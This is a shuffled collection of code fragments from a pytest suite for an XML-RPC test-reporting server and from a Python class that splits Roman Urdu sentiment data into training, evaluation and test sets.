"the specific language governing permissions and # limitations under the License. \"\"\"``test_reporting_server.py`` `Unittests",
"queuelen is 1 assert reporting_server_with_config.xmlrpc_queuelen() == 1, \"Queuelen is not right\" # Call",
"self.port = '18081' self.logprefix = 'main' self.logdir = 'logs' self.loglevel = 'DEBUG' opts",
"CustomOptsParser(object): def __init__(self): self.multiuser = True self.port = '18081' self.logprefix = 'main' self.logdir",
"# Call queuedropcmd and check queuelen assert reporting_server_with_config.xmlrpc_queuedropcmd(0) == expected_queuelist[0] assert reporting_server_with_config.xmlrpc_queuelen() ==",
"['TM buildname', '192.168.127.12-SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlcfg\", None) return reporting_server",
"brief of test case', '-# First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '192.168.127.12-SomeSwitch'},",
"step'], 'suite': 'test.test_suite', 'tc': 'test_tcname', 'build_info': 'None'}] post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\",",
"= '18081' self.logprefix = 'main' self.logdir = 'logs' self.loglevel = 'DEBUG' opts =",
"Version 2.0 (the \"License\"); # you may not use this file except in",
"except in compliance with the License. # You may obtain a copy of",
"of test case', '-# First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '192.168.127.12-SomeSwitch'}, \"None\"]",
"test_cmdproc(reporting_server_with_config): \"\"\"Verify that operation with cmdproc is work. \"\"\" reporting_server_with_config.xmlrpc_cmdprocdisable() assert reporting_server_with_config.xmlrpc_cmdproccheck() ==",
"post request reporting_server_with_config.xmlrpc_post(*post_data1) # Get queue list assert reporting_server_with_config.xmlrpc_queuelist() == expected_queuelist # Check",
"self.logdir = 'logs' self.loglevel = 'DEBUG' opts = CustomOptsParser() xmlrpcsrv = XMLReportingServer() xmlrpcsrv.setup(opts)",
"\"xml\", \"info_dict\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['chipName', 'SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['TM buildname',",
"\"Watchdog is True and cmdproc is True\", \"Watchdog is True. cmdprocdisable doesn't work.\"",
"1, \"Queuelen is not right\" # Call queuedropcmd and check queuelen assert reporting_server_with_config.xmlrpc_queuedropcmd(0)",
"with queue is working. \"\"\" expected_queuelist = [{'status': 'Run', 'info': {'platform': 'SomeSwitch', 'build':",
"case', '-# First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '192.168.127.12-SomeSwitch'}, \"None\"] # Check",
"# You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0",
"may not use this file except in compliance with the License. # You",
"License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS",
"is True. \"\"\" post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief of",
"reporting_server_with_config.xmlrpc_queuelen() == 1, \"Queuelen is not right\" # Call queuedropcmd and check queuelen",
"'-# First step\\n-# Second step'], {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, \"None\"] # Check if",
"'192.168.127.12-SomeSwitch'}, \"None\"] # Check if post successful assert reporting_server_with_config.xmlrpc_post(*post_data1), \"xmlrpc_post operation is False\"",
"'build_info': 'None'}] post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief of test",
"[['update', None]]) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"cfgfile\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", None) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\",",
"'1.2.3.4-SomeSwitch'}, 'client': 'test_client-1', 'build': 'SomeSwitch', 'report': ['Simple brief of test case', '-# First",
"# Check if queue is empty assert reporting_server_with_config.xmlrpc_queuelist() == [], \"Queuelen is not",
"can be created and reports can be removed. \"\"\" reporting_server.xmlrpc_open(\"test_client-1\") # check if",
"== \"Watchdog is True and cmdproc is True\", \"Watchdog is True. cmdprocdisable doesn't",
"assert reporting_server.clients.get(\"test_client-1\", \"status\") == \"Active\" # add xml report reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") assert reporting_server.clients.get(\"test_client-1\",",
"xml report reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") assert reporting_server.clients.get(\"test_client-1\", \"reports\") == {\"xml\": True} reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\",",
"'DEBUG' opts = CustomOptsParser() xmlrpcsrv = XMLReportingServer() xmlrpcsrv.setup(opts) sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), \"../plugins/\", './'))) imp_plugins(\"reports\") imp_plugins(\"connectors\")",
"language governing permissions and # limitations under the License. \"\"\"``test_reporting_server.py`` `Unittests for reporting",
"[\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief of test case', '-# First step\\n-#",
"imp_plugins(\"connectors\") return xmlrpcsrv @pytest.fixture(scope=\"function\", autouse=True) def reporting_server_with_config(reporting_server): reporting_server.xmlrpc_open(\"test_client-1\") reporting_server.xmlrpc_reportadd(\"test_client-1\", \"xml\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"options\",",
"post command is True. \"\"\" post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple",
"'192.168.127.12-SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlcfg\", None) return reporting_server def test_client_config(reporting_server):",
"reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['chipName', 'SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"info_dict\", ['TM buildname', '192.168.127.12-SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\",",
"\"Queuelen is not empty\" # Send post request reporting_server_with_config.xmlrpc_post(*post_data1) # Get queue list",
"work.\" reporting_server_with_config.xmlrpc_cmdprocenable() assert reporting_server_with_config.xmlrpc_cmdproccheck() == \"Watchdog is True and cmdproc is True\", \"Watchdog",
"'test.test_suite', 'tc': 'test_tcname', 'build_info': 'None'}] post_data1 = [\"test_client-1\", \"SomeSwitch\", \"test.test_suite\", \"test_tcname\", \"Run\", ['Simple",
"= [{'status': 'Run', 'info': {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, 'client': 'test_client-1', 'build': 'SomeSwitch', 'report':",
"distributed under the License is distributed on an \"AS IS\" BASIS, # WITHOUT",
"'build': '1.2.3.4-SomeSwitch'}, \"None\"] # Check if queue is empty assert reporting_server_with_config.xmlrpc_queuelist() == [],",
"working. \"\"\" expected_queuelist = [{'status': 'Run', 'info': {'platform': 'SomeSwitch', 'build': '1.2.3.4-SomeSwitch'}, 'client': 'test_client-1',",
"\"xml\", \"info_dict\", ['TM buildname', '192.168.127.12-SomeSwitch']) reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlfile\", \"1.html\") reporting_server.xmlrpc_reportconfig(\"test_client-1\", \"xml\", \"htmlcfg\", None)",
"opts = {'loglevel': 'DEBUG', 'logprefix': 'main', 'port': '18081', 'logdir': 'logs', 'multiuser': True} class",
"attr on report object assert reporting_server._reports['XML']['test_client-1'].htmlfile == \"1.html\" reporting_server.xmlrpc_shutdown() def test_post(reporting_server_with_config): \"\"\"Verify that",
"\"test.test_suite\", \"test_tcname\", \"Run\", ['Simple brief of test case', '-# First step\\n-# Second step'],",
"is empty assert reporting_server_with_config.xmlrpc_queuelist() == [], \"Queuelen is not empty\" # Send post",
"is False and cmdproc is True\", \"Watchdog is False. cmdprocdisable doesn't work.\" reporting_server_with_config.xmlrpc_cmdprocenable()"
] |
[
"labels_test] return training, evaluation, test # #=====================================================================# # # The above variables don't",
"= n_dataset - n_test # 0.3 # Use indexcing to split the data.",
"batch_size: self.data_training = self.x[ self.index_training ] self.labels_training = self.y[ self.index_training ] done =",
"# 0.7 n_training = n_dataset - n_test # 0.3 # Use indexcing to",
"= self.y[ index_evaluation ] labels_test = self.y[ index_test ] training = [data_training, labels_training]",
"{test_split_ratio}' ) reviews = df['review'] sentiments = df['sentiment'] n_dataset = df.shape[0] n_test =",
"test_split_ratio= {test_split_ratio}' ) reviews = df['review'] sentiments = df['sentiment'] n_dataset = df.shape[0] n_test",
"', split_rate ) length, dimension = np.shape( self.x ) # Split the (entire)",
"= config def split( self, df ): ''' Split the (entire) data into",
"test # #=====================================================================# # # The above variables don't have the leading self.",
"= True else: #data_length < batch_size: self.data_training = self.x[ self.index_training ] self.labels_training =",
") reviews = df['review'] sentiments = df['sentiment'] n_dataset = df.shape[0] n_test = int(",
"python3 # -*- coding: utf-8 -*- ''' data4models.py # Sentiment Indentification for Roman",
"test_split_ratio = self.config.test_split_ratio print(f'Data.preprocess.split: test_split_ratio= {test_split_ratio}' ) reviews = df['review'] sentiments = df['sentiment']",
"self.x[ index_evaluation, : ] data_test = self.x[ index_test, : ] labels_training = self.y[",
"index_data, n_training, replace=False ) # 9592 index_temp = np.delete( index_data, index_training ) #",
"labels_evaluation] test = [data_test, labels_test] return training, evaluation, test # #=====================================================================# # #",
"ratio to split the training, evaluation, & test data is 7:2:1. ''' print(",
"np.delete( index_data, index_training ) data_training_np = reviews.loc[ index_training ].values data_test_np = reviews.loc[ index_test",
"sentiments.loc[ index_test ].values print(f' number of dataset =', n_dataset ) print(f' np.shape(x_train) =',",
"the training, evaluation, & test data is 7:2:1. ''' print( 'split_rate = ',",
"The above variables don't have the leading self. to improve readability. # self.length",
"np.arange( n_dataset ) index_training = np.random.choice( index_data, n_training, replace=False ) index_test = np.delete(",
"of dataset =', n_dataset ) print(f' np.shape(x_train) =', np.shape(data_training_np) ) print(f' np.shape(y_train) =',",
"# #=====================================================================# # # The above variables don't have the leading self. to",
"df['sentiment'] n_dataset = df.shape[0] n_test = int( n_dataset * test_split_ratio ) # 0.7",
"self.data_training[ index,: ] labels = self.labels_training[ index ] self.data_training = np.delete( self.data_training, index,",
"= len( self.data_training ) if data_length >= batch_size: # Because of replace=False, #",
"# 0.7 n_evaluation = int( length * split_rate[1] ) # 0.2 n_test =",
"training, evaluation, test # #=====================================================================# # # The above variables don't have the",
"print(f' number of dataset =', n_dataset ) print(f' np.shape(x_train) =', np.shape(data_training_np) ) print(f'",
"= np.random.choice( index_temp, n_evaluation ) # 2740 index_test = np.delete( index_temp, index_evaluation )",
"= np.random.choice( data_length, batch_size, replace=False ) data = self.data_training[ index,: ] labels =",
"- n_test # 0.3 # Use indexcing to split the data. index_data =",
") # Split the (entire) data into training data & test data n_training",
"split_rate[1] ) # 0.2 n_test = length - n_training - n_evaluation # Use",
"np.delete( index_temp, index_evaluation ) # 3547, This must be 1372! data_training = self.x[",
"be a pandas.DataFrame.' test_split_ratio = self.config.test_split_ratio print(f'Data.preprocess.split: test_split_ratio= {test_split_ratio}' ) reviews = df['review']",
"= df['sentiment'] n_dataset = df.shape[0] n_test = int( n_dataset * test_split_ratio ) #",
"(length,) def split( self, split_rate=[0.7, 0.2, 0.1] ): ''' The default ratio to",
"= [data_test, labels_test] return training, evaluation, test # #=====================================================================# # # The above",
"replace=False ) data = self.data_training[ index,: ] labels = self.labels_training[ index ] self.data_training",
"np.shape(x_test) =', np.shape(data_test_np) ) print(f' np.shape(y_test) =', np.shape(labels_test_np) ) return data_training_np, labels_training_np, data_test_np,",
"int( length * split_rate[1] ) # 0.2 n_test = length - n_training -",
"index_data = np.arange( n_dataset ) index_training = np.random.choice( index_data, n_training, replace=False ) index_test",
"# = size, or n_data # self.dimension = dimension # # self.n_training =",
"test_split_ratio ) # 0.7 n_training = n_dataset - n_test # 0.3 # Use",
"__init__( self, config ): self.config = config def split( self, df ): '''",
"length - n_training - n_evaluation # Use indexcing to split the data. index_data",
"data_test = self.x[ index_test, : ] labels_training = self.y[ index_training ] labels_evaluation =",
"0.3 # Use indexcing to split the data. index_data = np.arange( n_dataset )",
"- n_evaluation # Use indexcing to split the data. index_data = np.arange( length",
"data ''' assert isinstance( df, pd.DataFrame), 'df must be a pandas.DataFrame.' test_split_ratio =",
"9592 index_temp = np.delete( index_data, index_training ) # 4112 index_evaluation = np.random.choice( index_temp,",
"- n_training - n_evaluation # Use indexcing to split the data. index_data =",
"print(f' np.shape(x_test) =', np.shape(data_test_np) ) print(f' np.shape(y_test) =', np.shape(labels_test_np) ) return data_training_np, labels_training_np,",
"as np import pandas as pd class Data: # Constructor def __init__( self,",
"Split the (entire) data into training data & test data ''' assert isinstance(",
"y_train, x_test, y_test # def __init__( self, x, y, config ): # self.config",
"'replace=False' index = np.random.choice( data_length, batch_size, replace=False ) data = self.data_training[ index,: ]",
"length * split_rate[0] ) # 0.7 n_evaluation = int( length * split_rate[1] )",
"data_test_np = reviews.loc[ index_test ].values labels_training_np = sentiments.loc[ index_training ].values labels_test_np = sentiments.loc[",
"data_length = len( self.data_training ) if data_length >= batch_size: # Because of replace=False,",
"n_test # 0.3 # Use indexcing to split the data. index_data = np.arange(",
"index_temp = np.delete( index_data, index_training ) # 4112 index_evaluation = np.random.choice( index_temp, n_evaluation",
"training, evaluation, & test data is 7:2:1. ''' print( 'split_rate = ', split_rate",
"= self.y[ index_training ] labels_evaluation = self.y[ index_evaluation ] labels_test = self.y[ index_test",
"pandas.DataFrame.' test_split_ratio = self.config.test_split_ratio print(f'Data.preprocess.split: test_split_ratio= {test_split_ratio}' ) reviews = df['review'] sentiments =",
") print(f' np.shape(y_test) =', np.shape(labels_test_np) ) return data_training_np, labels_training_np, data_test_np, labels_test_np # x_train,",
"coding: utf-8 -*- ''' data4models.py # Sentiment Indentification for Roman Urdu ''' import",
"= np.delete( index_temp, index_evaluation ) # 3547, This must be 1372! data_training =",
"= size, or n_data # self.dimension = dimension # # self.n_training = n_training",
"''' assert isinstance( df, pd.DataFrame), 'df must be a pandas.DataFrame.' test_split_ratio = self.config.test_split_ratio",
"This must be 1372! data_training = self.x[ index_training, : ] data_evaluation = self.x[",
"-*- coding: utf-8 -*- ''' data4models.py # Sentiment Indentification for Roman Urdu '''",
") # 9592 index_temp = np.delete( index_data, index_training ) # 4112 index_evaluation =",
"index_training ) # 4112 index_evaluation = np.random.choice( index_temp, n_evaluation ) # 2740 index_test",
"n_training - n_evaluation # Use indexcing to split the data. index_data = np.arange(",
"Constructor def __init__( self, config ): self.config = config def split( self, df",
"index_training ].values labels_test_np = sentiments.loc[ index_test ].values print(f' number of dataset =', n_dataset",
"* split_rate[1] ) # 0.2 n_test = length - n_training - n_evaluation #",
"].values labels_training_np = sentiments.loc[ index_training ].values labels_test_np = sentiments.loc[ index_test ].values print(f' number",
"reviews = df['review'] sentiments = df['sentiment'] n_dataset = df.shape[0] n_test = int( n_dataset",
"n_test = length - n_training - n_evaluation # Use indexcing to split the",
"''' Split the (entire) data into training data & test data ''' assert",
"split_rate[0] ) # 0.7 n_evaluation = int( length * split_rate[1] ) # 0.2",
"df ): ''' Split the (entire) data into training data & test data",
"replace=False ) index_test = np.delete( index_data, index_training ) data_training_np = reviews.loc[ index_training ].values",
"def load(self, batch_size): data_length = len( self.data_training ) if data_length >= batch_size: #",
"index_training = np.random.choice( index_data, n_training, replace=False ) # 9592 index_temp = np.delete( index_data,",
"index_training ) data_training_np = reviews.loc[ index_training ].values data_test_np = reviews.loc[ index_test ].values labels_training_np",
"isinstance( df, pd.DataFrame), 'df must be a pandas.DataFrame.' test_split_ratio = self.config.test_split_ratio print(f'Data.preprocess.split: test_split_ratio=",
"indexcing to split the data. index_data = np.arange( length ) # 13704, [0,",
"n_training, replace=False ) # 9592 index_temp = np.delete( index_data, index_training ) # 4112",
"# self.dimension = dimension # # self.n_training = n_training # self.n_test = n_test",
"1372! data_training = self.x[ index_training, : ] data_evaluation = self.x[ index_evaluation, : ]",
"data_training_np, labels_training_np, data_test_np, labels_test_np # x_train, y_train, x_test, y_test # def __init__( self,",
"] labels_training = self.y[ index_training ] labels_evaluation = self.y[ index_evaluation ] labels_test =",
"to improve readability. # self.length = length # = size, or n_data #",
"np.arange( length ) # 13704, [0, length-1] index_training = np.random.choice( index_data, n_training, replace=False",
") return data_training_np, labels_training_np, data_test_np, labels_test_np # x_train, y_train, x_test, y_test # def",
"# The above variables don't have the leading self. to improve readability. #",
"self, df ): ''' Split the (entire) data into training data & test",
"print( 'split_rate = ', split_rate ) length, dimension = np.shape( self.x ) #",
") # 2740 index_test = np.delete( index_temp, index_evaluation ) # 3547, This must",
") # 0.2 n_test = length - n_training - n_evaluation # Use indexcing",
"np.random.choice( index_data, n_training, replace=False ) index_test = np.delete( index_data, index_training ) data_training_np =",
"when 'replace=False' index = np.random.choice( data_length, batch_size, replace=False ) data = self.data_training[ index,:",
"= int( length * split_rate[0] ) # 0.7 n_evaluation = int( length *",
"= n_training # self.n_test = n_test def load(self, batch_size): data_length = len( self.data_training",
"0.2, 0.1] ): ''' The default ratio to split the training, evaluation, &",
"True else: #data_length < batch_size: self.data_training = self.x[ self.index_training ] self.labels_training = self.y[",
"= self.labels_training[ index ] self.data_training = np.delete( self.data_training, index, axis=0 ) self.labels_training =",
"pandas as pd class Data: # Constructor def __init__( self, config ): self.config",
"self.x ) # Split the (entire) data into training data & test data",
"] data_test = self.x[ index_test, : ] labels_training = self.y[ index_training ] labels_evaluation",
"=', np.shape(labels_training_np) ) print(f' np.shape(x_test) =', np.shape(data_test_np) ) print(f' np.shape(y_test) =', np.shape(labels_test_np) )",
"= (length,) def split( self, split_rate=[0.7, 0.2, 0.1] ): ''' The default ratio",
"training = [data_training, labels_training] evaluation = [data_evaluation, labels_evaluation] test = [data_test, labels_test] return",
"np.shape(y_train) =', np.shape(labels_training_np) ) print(f' np.shape(x_test) =', np.shape(data_test_np) ) print(f' np.shape(y_test) =', np.shape(labels_test_np)",
"np.shape(labels_training_np) ) print(f' np.shape(x_test) =', np.shape(data_test_np) ) print(f' np.shape(y_test) =', np.shape(labels_test_np) ) return",
"index_evaluation ) # 3547, This must be 1372! data_training = self.x[ index_training, :",
") # 0.7 n_training = n_dataset - n_test # 0.3 # Use indexcing",
"self.y[ index_evaluation ] labels_test = self.y[ index_test ] training = [data_training, labels_training] evaluation",
"= self.x[ index_training, : ] data_evaluation = self.x[ index_evaluation, : ] data_test =",
"self.config = config # self.x = x # shape = (length, dimension) #",
"index_temp, n_evaluation ) # 2740 index_test = np.delete( index_temp, index_evaluation ) # 3547,",
"= [data_evaluation, labels_evaluation] test = [data_test, labels_test] return training, evaluation, test # #=====================================================================#",
"evaluation, & test data is 7:2:1. ''' print( 'split_rate = ', split_rate )",
"(length, dimension) # self.y = y # shape = (length,) def split( self,",
"0.2 n_test = length - n_training - n_evaluation # Use indexcing to split",
"dataset =', n_dataset ) print(f' np.shape(x_train) =', np.shape(data_training_np) ) print(f' np.shape(y_train) =', np.shape(labels_training_np)",
"] self.data_training = np.delete( self.data_training, index, axis=0 ) self.labels_training = np.delete( self.labels_training, index",
"n_dataset * test_split_ratio ) # 0.7 n_training = n_dataset - n_test # 0.3",
"n_test = int( n_dataset * test_split_ratio ) # 0.7 n_training = n_dataset -",
"shape = (length,) def split( self, split_rate=[0.7, 0.2, 0.1] ): ''' The default",
"np.shape( self.x ) # Split the (entire) data into training data & test",
"= int( length * split_rate[1] ) # 0.2 n_test = length - n_training",
"print(f'Data.preprocess.split: test_split_ratio= {test_split_ratio}' ) reviews = df['review'] sentiments = df['sentiment'] n_dataset = df.shape[0]",
"if data_length >= batch_size: # Because of replace=False, # ValueError: Cannot take a",
"config ): self.config = config def split( self, df ): ''' Split the",
"self. to improve readability. # self.length = length # = size, or n_data",
"< batch_size: self.data_training = self.x[ self.index_training ] self.labels_training = self.y[ self.index_training ] done",
"data_length, batch_size, replace=False ) data = self.data_training[ index,: ] labels = self.labels_training[ index",
"=', np.shape(data_test_np) ) print(f' np.shape(y_test) =', np.shape(labels_test_np) ) return data_training_np, labels_training_np, data_test_np, labels_test_np",
"self.y = y # shape = (length,) def split( self, split_rate=[0.7, 0.2, 0.1]",
"def split( self, df ): ''' Split the (entire) data into training data",
") print(f' np.shape(y_train) =', np.shape(labels_training_np) ) print(f' np.shape(x_test) =', np.shape(data_test_np) ) print(f' np.shape(y_test)",
"Cannot take a larger sample than population when 'replace=False' index = np.random.choice( data_length,",
"= int( n_dataset * test_split_ratio ) # 0.7 n_training = n_dataset - n_test",
"].values labels_test_np = sentiments.loc[ index_test ].values print(f' number of dataset =', n_dataset )",
"larger sample than population when 'replace=False' index = np.random.choice( data_length, batch_size, replace=False )",
"x_train, y_train, x_test, y_test # def __init__( self, x, y, config ): #",
"= self.y[ self.index_training ] done = False return data, labels, done # EOF",
"# 13704, [0, length-1] index_training = np.random.choice( index_data, n_training, replace=False ) # 9592",
"labels_test_np = sentiments.loc[ index_test ].values print(f' number of dataset =', n_dataset ) print(f'",
"= length - n_training - n_evaluation # Use indexcing to split the data.",
"data4models.py # Sentiment Indentification for Roman Urdu ''' import numpy as np import",
"= np.arange( n_dataset ) index_training = np.random.choice( index_data, n_training, replace=False ) index_test =",
"index_training ] labels_evaluation = self.y[ index_evaluation ] labels_test = self.y[ index_test ] training",
"=', np.shape(labels_test_np) ) return data_training_np, labels_training_np, data_test_np, labels_test_np # x_train, y_train, x_test, y_test",
"config # self.x = x # shape = (length, dimension) # self.y =",
"Urdu ''' import numpy as np import pandas as pd class Data: #",
"=', np.shape(data_training_np) ) print(f' np.shape(y_train) =', np.shape(labels_training_np) ) print(f' np.shape(x_test) =', np.shape(data_test_np) )",
"sample than population when 'replace=False' index = np.random.choice( data_length, batch_size, replace=False ) data",
"index_test ] training = [data_training, labels_training] evaluation = [data_evaluation, labels_evaluation] test = [data_test,",
"index_data, index_training ) data_training_np = reviews.loc[ index_training ].values data_test_np = reviews.loc[ index_test ].values",
"np.shape(data_test_np) ) print(f' np.shape(y_test) =', np.shape(labels_test_np) ) return data_training_np, labels_training_np, data_test_np, labels_test_np #",
"n_training = int( length * split_rate[0] ) # 0.7 n_evaluation = int( length",
"self.x[ index_test, : ] labels_training = self.y[ index_training ] labels_evaluation = self.y[ index_evaluation",
"13704, [0, length-1] index_training = np.random.choice( index_data, n_training, replace=False ) # 9592 index_temp",
"= df['review'] sentiments = df['sentiment'] n_dataset = df.shape[0] n_test = int( n_dataset *",
"y, config ): # self.config = config # self.x = x # shape",
"def __init__( self, config ): self.config = config def split( self, df ):",
"self.data_training ) if data_length >= batch_size: # Because of replace=False, # ValueError: Cannot",
"leading self. to improve readability. # self.length = length # = size, or",
"batch_size): data_length = len( self.data_training ) if data_length >= batch_size: # Because of",
"labels_evaluation = self.y[ index_evaluation ] labels_test = self.y[ index_test ] training = [data_training,",
"else: #data_length < batch_size: self.data_training = self.x[ self.index_training ] self.labels_training = self.y[ self.index_training",
") length, dimension = np.shape( self.x ) # Split the (entire) data into",
"self, config ): self.config = config def split( self, df ): ''' Split",
"Sentiment Indentification for Roman Urdu ''' import numpy as np import pandas as",
"index_training = np.random.choice( index_data, n_training, replace=False ) index_test = np.delete( index_data, index_training )",
"n_evaluation = int( length * split_rate[1] ) # 0.2 n_test = length -",
"a larger sample than population when 'replace=False' index = np.random.choice( data_length, batch_size, replace=False",
"# Use indexcing to split the data. index_data = np.arange( n_dataset ) index_training",
"data & test data ''' assert isinstance( df, pd.DataFrame), 'df must be a",
"data into training data & test data ''' assert isinstance( df, pd.DataFrame), 'df",
"def __init__( self, x, y, config ): # self.config = config # self.x",
"# self.config = config # self.x = x # shape = (length, dimension)",
"] self.labels_training = self.y[ self.index_training ] done = False return data, labels, done",
"split_rate=[0.7, 0.2, 0.1] ): ''' The default ratio to split the training, evaluation,",
"utf-8 -*- ''' data4models.py # Sentiment Indentification for Roman Urdu ''' import numpy",
"labels_training_np, data_test_np, labels_test_np # x_train, y_train, x_test, y_test # def __init__( self, x,",
"data_evaluation = self.x[ index_evaluation, : ] data_test = self.x[ index_test, : ] labels_training",
"= np.shape( self.x ) # Split the (entire) data into training data &",
"(entire) data into training data & test data n_training = int( length *",
"y # shape = (length,) def split( self, split_rate=[0.7, 0.2, 0.1] ): '''",
"n_training # self.n_test = n_test def load(self, batch_size): data_length = len( self.data_training )",
") index_test = np.delete( index_data, index_training ) data_training_np = reviews.loc[ index_training ].values data_test_np",
"] labels_evaluation = self.y[ index_evaluation ] labels_test = self.y[ index_test ] training =",
"self.config.test_split_ratio print(f'Data.preprocess.split: test_split_ratio= {test_split_ratio}' ) reviews = df['review'] sentiments = df['sentiment'] n_dataset =",
"the (entire) data into training data & test data n_training = int( length",
"length, dimension = np.shape( self.x ) # Split the (entire) data into training",
"labels_test = self.y[ index_test ] training = [data_training, labels_training] evaluation = [data_evaluation, labels_evaluation]",
"have the leading self. to improve readability. # self.length = length # =",
"= sentiments.loc[ index_test ].values print(f' number of dataset =', n_dataset ) print(f' np.shape(x_train)",
"Data: # Constructor def __init__( self, config ): self.config = config def split(",
"__init__( self, x, y, config ): # self.config = config # self.x =",
"2740 index_test = np.delete( index_temp, index_evaluation ) # 3547, This must be 1372!",
"int( n_dataset * test_split_ratio ) # 0.7 n_training = n_dataset - n_test #",
"len( self.data_training ) if data_length >= batch_size: # Because of replace=False, # ValueError:",
"Use indexcing to split the data. index_data = np.arange( n_dataset ) index_training =",
"[data_evaluation, labels_evaluation] test = [data_test, labels_test] return training, evaluation, test # #=====================================================================# #",
"# self.n_training = n_training # self.n_test = n_test def load(self, batch_size): data_length =",
") if data_length >= batch_size: # Because of replace=False, # ValueError: Cannot take",
"self.index_training ] self.labels_training = self.y[ self.index_training ] done = False return data, labels,",
"labels_training = self.y[ index_training ] labels_evaluation = self.y[ index_evaluation ] labels_test = self.y[",
"test data ''' assert isinstance( df, pd.DataFrame), 'df must be a pandas.DataFrame.' test_split_ratio",
"n_test def load(self, batch_size): data_length = len( self.data_training ) if data_length >= batch_size:",
"the leading self. to improve readability. # self.length = length # = size,",
") # 3547, This must be 1372! data_training = self.x[ index_training, : ]",
"Roman Urdu ''' import numpy as np import pandas as pd class Data:",
"n_dataset = df.shape[0] n_test = int( n_dataset * test_split_ratio ) # 0.7 n_training",
"].values data_test_np = reviews.loc[ index_test ].values labels_training_np = sentiments.loc[ index_training ].values labels_test_np =",
"# 0.2 n_test = length - n_training - n_evaluation # Use indexcing to",
"# 3547, This must be 1372! data_training = self.x[ index_training, : ] data_evaluation",
"numpy as np import pandas as pd class Data: # Constructor def __init__(",
"above variables don't have the leading self. to improve readability. # self.length =",
"[data_training, labels_training] evaluation = [data_evaluation, labels_evaluation] test = [data_test, labels_test] return training, evaluation,",
"batch_size, replace=False ) data = self.data_training[ index,: ] labels = self.labels_training[ index ]",
"be 1372! data_training = self.x[ index_training, : ] data_evaluation = self.x[ index_evaluation, :",
"Split the (entire) data into training data & test data n_training = int(",
"# -*- coding: utf-8 -*- ''' data4models.py # Sentiment Indentification for Roman Urdu",
"3547, This must be 1372! data_training = self.x[ index_training, : ] data_evaluation =",
"print(f' np.shape(y_train) =', np.shape(labels_training_np) ) print(f' np.shape(x_test) =', np.shape(data_test_np) ) print(f' np.shape(y_test) =',",
"= self.config.test_split_ratio print(f'Data.preprocess.split: test_split_ratio= {test_split_ratio}' ) reviews = df['review'] sentiments = df['sentiment'] n_dataset",
"config def split( self, df ): ''' Split the (entire) data into training",
"data_test_np, labels_test_np # x_train, y_train, x_test, y_test # def __init__( self, x, y,",
"n_dataset ) print(f' np.shape(x_train) =', np.shape(data_training_np) ) print(f' np.shape(y_train) =', np.shape(labels_training_np) ) print(f'",
"index, axis=0 ) self.labels_training = np.delete( self.labels_training, index ) done = True else:",
"''' The default ratio to split the training, evaluation, & test data is",
"into training data & test data n_training = int( length * split_rate[0] )",
"evaluation = [data_evaluation, labels_evaluation] test = [data_test, labels_test] return training, evaluation, test #",
"# ValueError: Cannot take a larger sample than population when 'replace=False' index =",
"self.x[ index_training, : ] data_evaluation = self.x[ index_evaluation, : ] data_test = self.x[",
"(entire) data into training data & test data ''' assert isinstance( df, pd.DataFrame),",
"# 4112 index_evaluation = np.random.choice( index_temp, n_evaluation ) # 2740 index_test = np.delete(",
"index ] self.data_training = np.delete( self.data_training, index, axis=0 ) self.labels_training = np.delete( self.labels_training,",
"np.random.choice( index_temp, n_evaluation ) # 2740 index_test = np.delete( index_temp, index_evaluation ) #",
"#data_length < batch_size: self.data_training = self.x[ self.index_training ] self.labels_training = self.y[ self.index_training ]",
">= batch_size: # Because of replace=False, # ValueError: Cannot take a larger sample",
"dimension) # self.y = y # shape = (length,) def split( self, split_rate=[0.7,",
"& test data n_training = int( length * split_rate[0] ) # 0.7 n_evaluation",
") data_training_np = reviews.loc[ index_training ].values data_test_np = reviews.loc[ index_test ].values labels_training_np =",
"split( self, split_rate=[0.7, 0.2, 0.1] ): ''' The default ratio to split the",
"index_test ].values print(f' number of dataset =', n_dataset ) print(f' np.shape(x_train) =', np.shape(data_training_np)",
"# self.n_test = n_test def load(self, batch_size): data_length = len( self.data_training ) if",
"] labels_test = self.y[ index_test ] training = [data_training, labels_training] evaluation = [data_evaluation,",
"than population when 'replace=False' index = np.random.choice( data_length, batch_size, replace=False ) data =",
"-*- ''' data4models.py # Sentiment Indentification for Roman Urdu ''' import numpy as",
"sentiments = df['sentiment'] n_dataset = df.shape[0] n_test = int( n_dataset * test_split_ratio )",
